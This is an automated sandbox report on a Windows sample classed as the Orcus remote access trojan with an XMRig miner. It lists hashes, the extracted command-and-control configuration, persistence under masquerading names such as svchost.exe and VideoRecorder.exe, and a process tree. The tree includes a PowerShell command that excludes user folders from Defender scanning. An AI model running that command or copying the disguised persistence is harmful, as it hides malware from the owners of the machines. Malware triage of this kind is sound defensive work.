orcus | a00d5c44783b48c8d4eded4f423c9edbe0bff6af12854f249d5ceb967940ace7

Analysis

max time kernel
151s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
21-03-2023 14:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9a938f47030e9b34dcee96382fae40ed2f980299e1ced3a04c19c859b24ae40c.exe
Size

4.4MB
MD5

b3c049b9160e55f747cf584b109aa3a2
SHA1

7731a49d69b16377c0acf234fa037278bc741923
SHA256

9a938f47030e9b34dcee96382fae40ed2f980299e1ced3a04c19c859b24ae40c
SHA512

1529775e6332b382331bc95b0b5c8a56f9aa79df6b1df9253782bcca1928956e88dba82d988e9544f9b610c15b0f108e50d22cecaa60b0fa79da135a74e866a4
SSDEEP

98304:AW1+5Ax7m35LZqTXrzxRERF+jtHPudaucpm1COO9lXf6Wnlgb4:AW1Gl3pZqLr1dVv/vf3y

Score

10^/10

orcus xmrig puppet miner persistence rat spyware stealer upx

Malware Config

Extracted

Family

orcus

Botnet

Puppet

distance-deutsche.at.ply.gg:10569

Mutex

06e5544d890f4631b9b64b2e4d98f88b

Attributes

autostart_method
Registry
enable_keylogger
false
install_path
%programfiles%\Recorder\VideoRecorder.exe
reconnect_delay
10000
registry_keyname
svcghost
taskscheduler_taskname
svcghost
watchdog_path
AppData\svchost.exe

Signatures

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus

Orcus main payload 6 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\conhost.exe	family_orcus
C:\Users\Admin\AppData\Local\conhost.exe	family_orcus
C:\Users\Admin\AppData\Local\conhost.exe	family_orcus
C:\Program Files (x86)\Recorder\VideoRecorder.exe	family_orcus
C:\Program Files (x86)\Recorder\VideoRecorder.exe	family_orcus
C:\Program Files (x86)\Recorder\VideoRecorder.exe	family_orcus

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

Processes:

svchost.exeab.exe

description	pid	process	target process
PID 4600 created 2576	4600	svchost.exe	Explorer.EXE
PID 4600 created 2576	4600	svchost.exe	Explorer.EXE
PID 4600 created 2576	4600	svchost.exe	Explorer.EXE
PID 1132 created 2576	1132	ab.exe	Explorer.EXE
PID 1132 created 2576	1132	ab.exe	Explorer.EXE
PID 1132 created 2576	1132	ab.exe	Explorer.EXE
PID 1132 created 2576	1132	ab.exe	Explorer.EXE
PID 1132 created 2576	1132	ab.exe	Explorer.EXE
PID 1132 created 2576	1132	ab.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Orcurs Rat Executable 7 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\conhost.exe	orcus
C:\Users\Admin\AppData\Local\conhost.exe	orcus
C:\Users\Admin\AppData\Local\conhost.exe	orcus
behavioral2/memory/4092-151-0x00000000009F0000-0x0000000000AD8000-memory.dmp	orcus
C:\Program Files (x86)\Recorder\VideoRecorder.exe	orcus
C:\Program Files (x86)\Recorder\VideoRecorder.exe	orcus
C:\Program Files (x86)\Recorder\VideoRecorder.exe	orcus

XMRig Miner payload 25 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1392-311-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/4892-312-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	xmrig
behavioral2/memory/1392-315-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/4892-316-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	xmrig
behavioral2/memory/1392-317-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/1392-319-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/4892-320-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	xmrig
behavioral2/memory/1392-322-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/4892-323-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	xmrig
behavioral2/memory/1392-326-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/4892-327-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	xmrig
behavioral2/memory/1392-332-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/4892-333-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	xmrig
behavioral2/memory/1392-335-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/4892-336-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	xmrig
behavioral2/memory/1392-338-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/4892-339-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	xmrig
behavioral2/memory/1392-341-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/4892-342-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	xmrig
behavioral2/memory/1392-344-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/4892-345-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	xmrig
behavioral2/memory/1392-347-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/4892-352-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	xmrig
behavioral2/memory/1392-354-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	xmrig
behavioral2/memory/4892-355-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

9a938f47030e9b34dcee96382fae40ed2f980299e1ced3a04c19c859b24ae40c.execonhost.exeVideoRecorder.exesvchost.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	9a938f47030e9b34dcee96382fae40ed2f980299e1ced3a04c19c859b24ae40c.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	conhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	VideoRecorder.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	svchost.exe

Executes dropped EXE 7 IoCs

Processes:

conhost.exesvchost.exeVideoRecorder.exeVideoRecorder.exesvchost.exesvchost.exeab.exe

pid process

4092 conhost.exe
4600 svchost.exe
532 VideoRecorder.exe
1896 VideoRecorder.exe
3680 svchost.exe
4912 svchost.exe
1132 ab.exe

pid	process
4092	conhost.exe
4600	svchost.exe
532	VideoRecorder.exe
1896	VideoRecorder.exe
3680	svchost.exe
4912	svchost.exe
1132	ab.exe

UPX packed file 25 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/1392-311-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/4892-312-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	upx
behavioral2/memory/1392-315-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/4892-316-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	upx
behavioral2/memory/1392-317-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/1392-319-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/4892-320-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	upx
behavioral2/memory/1392-322-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/4892-323-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	upx
behavioral2/memory/1392-326-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/4892-327-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	upx
behavioral2/memory/1392-332-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/4892-333-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	upx
behavioral2/memory/1392-335-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/4892-336-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	upx
behavioral2/memory/1392-338-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/4892-339-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	upx
behavioral2/memory/1392-341-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/4892-342-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	upx
behavioral2/memory/1392-344-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/4892-345-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	upx
behavioral2/memory/1392-347-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/4892-352-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	upx
behavioral2/memory/1392-354-0x00007FF6D5340000-0x00007FF6D5B34000-memory.dmp	upx
behavioral2/memory/4892-355-0x00007FF65D650000-0x00007FF65DE44000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

VideoRecorder.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svcghost = "\"C:\\Program Files (x86)\\Recorder\\VideoRecorder.exe\""	VideoRecorder.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

ab.exe

description	pid	process	target process
PID 1132 set thread context of 4732	1132	ab.exe	conhost.exe
PID 1132 set thread context of 1392	1132	ab.exe	svchost.exe
PID 1132 set thread context of 4892	1132	ab.exe	conhost.exe

Drops file in Program Files directory 7 IoCs

Processes:

cmd.execonhost.exesvchost.exeab.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files (x86)\Recorder\VideoRecorder.exe	conhost.exe
File opened for modification	C:\Program Files (x86)\Recorder\VideoRecorder.exe	conhost.exe
File created	C:\Program Files (x86)\Recorder\VideoRecorder.exe.config	conhost.exe
File created	C:\Program Files\Google\Chrome\ab.exe	svchost.exe
File created	C:\Program Files\Google\Libs\WR64.sys	ab.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

svchost.exeVideoRecorder.exesvchost.exepowershell.exepowershell.exepowershell.exe

pid	process
4912	svchost.exe
4912	svchost.exe
4912	svchost.exe
532	VideoRecorder.exe
532	VideoRecorder.exe
532	VideoRecorder.exe
532	VideoRecorder.exe
4912	svchost.exe
4912	svchost.exe
532	VideoRecorder.exe
532	VideoRecorder.exe
4912	svchost.exe
4912	svchost.exe
532	VideoRecorder.exe
532	VideoRecorder.exe
4912	svchost.exe
4912	svchost.exe
532	VideoRecorder.exe
532	VideoRecorder.exe
4912	svchost.exe
532	VideoRecorder.exe
4912	svchost.exe
4600	svchost.exe
4600	svchost.exe
4700	powershell.exe
4700	powershell.exe
4912	svchost.exe
532	VideoRecorder.exe
532	VideoRecorder.exe
4912	svchost.exe
4600	svchost.exe
4600	svchost.exe
4912	svchost.exe
532	VideoRecorder.exe
1708	powershell.exe
1708	powershell.exe
532	VideoRecorder.exe
4912	svchost.exe
4912	svchost.exe
532	VideoRecorder.exe
4912	svchost.exe
532	VideoRecorder.exe
4912	svchost.exe
532	VideoRecorder.exe
4600	svchost.exe
4600	svchost.exe
4912	svchost.exe
532	VideoRecorder.exe
3468	powershell.exe
3468	powershell.exe
4912	svchost.exe
532	VideoRecorder.exe
4912	svchost.exe
532	VideoRecorder.exe
4912	svchost.exe
532	VideoRecorder.exe
4912	svchost.exe
532	VideoRecorder.exe
4912	svchost.exe
532	VideoRecorder.exe
4912	svchost.exe
532	VideoRecorder.exe
4912	svchost.exe
532	VideoRecorder.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

652

pid	process
652

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

VideoRecorder.exesvchost.exesvchost.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	532	VideoRecorder.exe
Token: SeDebugPrivilege	3680	svchost.exe
Token: SeDebugPrivilege	4912	svchost.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeIncreaseQuotaPrivilege	1708	powershell.exe
Token: SeSecurityPrivilege	1708	powershell.exe
Token: SeTakeOwnershipPrivilege	1708	powershell.exe
Token: SeLoadDriverPrivilege	1708	powershell.exe
Token: SeSystemProfilePrivilege	1708	powershell.exe
Token: SeSystemtimePrivilege	1708	powershell.exe
Token: SeProfSingleProcessPrivilege	1708	powershell.exe
Token: SeIncBasePriorityPrivilege	1708	powershell.exe
Token: SeCreatePagefilePrivilege	1708	powershell.exe
Token: SeBackupPrivilege	1708	powershell.exe
Token: SeRestorePrivilege	1708	powershell.exe
Token: SeShutdownPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeSystemEnvironmentPrivilege	1708	powershell.exe
Token: SeRemoteShutdownPrivilege	1708	powershell.exe
Token: SeUndockPrivilege	1708	powershell.exe
Token: SeManageVolumePrivilege	1708	powershell.exe
Token: 33	1708	powershell.exe
Token: 34	1708	powershell.exe
Token: 35	1708	powershell.exe
Token: 36	1708	powershell.exe
Token: SeIncreaseQuotaPrivilege	1708	powershell.exe
Token: SeSecurityPrivilege	1708	powershell.exe
Token: SeTakeOwnershipPrivilege	1708	powershell.exe
Token: SeLoadDriverPrivilege	1708	powershell.exe
Token: SeSystemProfilePrivilege	1708	powershell.exe
Token: SeSystemtimePrivilege	1708	powershell.exe
Token: SeProfSingleProcessPrivilege	1708	powershell.exe
Token: SeIncBasePriorityPrivilege	1708	powershell.exe
Token: SeCreatePagefilePrivilege	1708	powershell.exe
Token: SeBackupPrivilege	1708	powershell.exe
Token: SeRestorePrivilege	1708	powershell.exe
Token: SeShutdownPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeSystemEnvironmentPrivilege	1708	powershell.exe
Token: SeRemoteShutdownPrivilege	1708	powershell.exe
Token: SeUndockPrivilege	1708	powershell.exe
Token: SeManageVolumePrivilege	1708	powershell.exe
Token: 33	1708	powershell.exe
Token: 34	1708	powershell.exe
Token: 35	1708	powershell.exe
Token: 36	1708	powershell.exe
Token: SeIncreaseQuotaPrivilege	1708	powershell.exe
Token: SeSecurityPrivilege	1708	powershell.exe
Token: SeTakeOwnershipPrivilege	1708	powershell.exe
Token: SeLoadDriverPrivilege	1708	powershell.exe
Token: SeSystemProfilePrivilege	1708	powershell.exe
Token: SeSystemtimePrivilege	1708	powershell.exe
Token: SeProfSingleProcessPrivilege	1708	powershell.exe
Token: SeIncBasePriorityPrivilege	1708	powershell.exe
Token: SeCreatePagefilePrivilege	1708	powershell.exe
Token: SeBackupPrivilege	1708	powershell.exe
Token: SeRestorePrivilege	1708	powershell.exe
Token: SeShutdownPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeSystemEnvironmentPrivilege	1708	powershell.exe
Token: SeRemoteShutdownPrivilege	1708	powershell.exe
Token: SeUndockPrivilege	1708	powershell.exe
Token: SeManageVolumePrivilege	1708	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

VideoRecorder.exe

pid process

532 VideoRecorder.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

VideoRecorder.exe

pid process

532 VideoRecorder.exe

pid	process
532	VideoRecorder.exe

pid	process
532	VideoRecorder.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

9a938f47030e9b34dcee96382fae40ed2f980299e1ced3a04c19c859b24ae40c.execonhost.exeVideoRecorder.exesvchost.exepowershell.exeab.execmd.exe

description	pid	process	target process
PID 3756 wrote to memory of 4092	3756	9a938f47030e9b34dcee96382fae40ed2f980299e1ced3a04c19c859b24ae40c.exe	conhost.exe
PID 3756 wrote to memory of 4092	3756	9a938f47030e9b34dcee96382fae40ed2f980299e1ced3a04c19c859b24ae40c.exe	conhost.exe
PID 3756 wrote to memory of 4092	3756	9a938f47030e9b34dcee96382fae40ed2f980299e1ced3a04c19c859b24ae40c.exe	conhost.exe
PID 3756 wrote to memory of 4600	3756	9a938f47030e9b34dcee96382fae40ed2f980299e1ced3a04c19c859b24ae40c.exe	svchost.exe
PID 3756 wrote to memory of 4600	3756	9a938f47030e9b34dcee96382fae40ed2f980299e1ced3a04c19c859b24ae40c.exe	svchost.exe
PID 4092 wrote to memory of 532	4092	conhost.exe	VideoRecorder.exe
PID 4092 wrote to memory of 532	4092	conhost.exe	VideoRecorder.exe
PID 4092 wrote to memory of 532	4092	conhost.exe	VideoRecorder.exe
PID 532 wrote to memory of 3680	532	VideoRecorder.exe	svchost.exe
PID 532 wrote to memory of 3680	532	VideoRecorder.exe	svchost.exe
PID 532 wrote to memory of 3680	532	VideoRecorder.exe	svchost.exe
PID 3680 wrote to memory of 4912	3680	svchost.exe	svchost.exe
PID 3680 wrote to memory of 4912	3680	svchost.exe	svchost.exe
PID 3680 wrote to memory of 4912	3680	svchost.exe	svchost.exe
PID 3468 wrote to memory of 2252	3468	powershell.exe	schtasks.exe
PID 3468 wrote to memory of 2252	3468	powershell.exe	schtasks.exe
PID 1132 wrote to memory of 4732	1132	ab.exe	conhost.exe
PID 1008 wrote to memory of 2180	1008	cmd.exe	WMIC.exe
PID 1008 wrote to memory of 2180	1008	cmd.exe	WMIC.exe
PID 1132 wrote to memory of 1392	1132	ab.exe	svchost.exe
PID 1132 wrote to memory of 4892	1132	ab.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2576

C:\Users\Admin\AppData\Local\Temp\9a938f47030e9b34dcee96382fae40ed2f980299e1ced3a04c19c859b24ae40c.exe
"C:\Users\Admin\AppData\Local\Temp\9a938f47030e9b34dcee96382fae40ed2f980299e1ced3a04c19c859b24ae40c.exe"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3756

C:\Users\Admin\AppData\Local\conhost.exe
"C:\Users\Admin\AppData\Local\conhost.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4092

C:\Program Files (x86)\Recorder\VideoRecorder.exe
"C:\Program Files (x86)\Recorder\VideoRecorder.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:532

C:\Users\Admin\AppData\Roaming\svchost.exe
"C:\Users\Admin\AppData\Roaming\svchost.exe" /launchSelfAndExit "C:\Program Files (x86)\Recorder\VideoRecorder.exe" 532 /protectFile
5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3680

C:\Users\Admin\AppData\Roaming\svchost.exe
"C:\Users\Admin\AppData\Roaming\svchost.exe" /watchProcess "C:\Program Files (x86)\Recorder\VideoRecorder.exe" 532 "/protectFile"
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4912

C:\Users\Admin\AppData\Local\Temp\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\svchost.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
